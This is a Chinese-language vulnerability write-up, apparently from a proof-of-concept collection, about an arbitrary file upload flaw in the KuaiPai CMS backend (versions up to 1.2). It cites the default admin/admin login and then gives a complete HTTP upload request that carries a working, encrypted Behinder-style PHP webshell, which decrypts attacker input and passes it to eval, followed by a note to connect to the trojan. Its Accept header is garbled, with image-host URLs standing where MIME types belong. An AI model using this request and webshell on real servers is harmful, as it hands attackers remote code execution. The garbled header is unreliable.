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104 lines
2.6 KiB
Markdown
104 lines
2.6 KiB
Markdown
# 快排CMS 后台任意文件上传漏洞
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## 漏洞描述
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快排CMS 后台管理模块存在任意文件上传漏洞，攻击者通过漏洞可以控制服务器
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## 漏洞影响
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```
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快排 CMS <= 1.2
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```
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## 环境搭建
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https://gitee.com/qingzhanwang/kpcms
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## 漏洞复现
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登录页面如下, 默认账号密码为 **admin/admin**
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```plain
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http://xxx.xxx.xxx.xxx/admin.php/index/login.html
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```
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源码中没有对上传文件的后缀检测
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```plain
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thinkphp/library/think/File.php
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```
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任意找一处文件上传点
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上传抓包获取文件地址
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```plain
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POST /admin.php/index/upload.html?dir=image HTTP/1.1
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Host: 192.168.1.108:88
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Content-Length: 935
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Origin: http://192.168.1.108:88
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYIt9WaQZiDMrwAVm
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/avif,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/webp,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: http://192.168.1.108:88/admin.php/config/index.html
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
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Cookie: admin_id=IphHb2Z%2FRG9gIXGA7HpPzQ%3D%3D; menu_show=0; menu_id=menu_22; url=%2Fadmin.php%2Fconfig%2Findex.html
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x-forwarded-for: 127.0.0.1
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x-originating-ip: 127.0.0.1
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x-remote-ip: 127.0.0.1
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x-remote-addr: 127.0.0.1
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Connection: close
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------WebKitFormBoundaryYIt9WaQZiDMrwAVm
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Content-Disposition: form-data; name="localUrl"
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C:\fakepath\shell.php
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------WebKitFormBoundaryYIt9WaQZiDMrwAVm
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Content-Disposition: form-data; name="imgFile"; filename="shell.php"
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Content-Type: application/octet-stream
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<?php
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@error_reporting(0);
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session_start();
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$key="e45e329feb5d925b";
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$_SESSION['k']=$key;
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$post=file_get_contents("php://input");
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if(!extension_loaded('openssl'))
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{
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$t="base64_"."decode";
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$post=$t($post."");
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for($i=0;$i<strlen($post);$i++) {
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$post[$i] = $post[$i]^$key[$i+1&15];
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}
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}
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else
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{
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$post=openssl_decrypt($post, "AES128", $key);
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}
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$arr=explode('|',$post);
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$func=$arr[0];
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$params=$arr[1];
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class C{public function __invoke($p) {eval($p."");}}
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@call_user_func(new C(),$params);
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?>
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------WebKitFormBoundaryYIt9WaQZiDMrwAVm--
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```
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连接冰蝎木马即可
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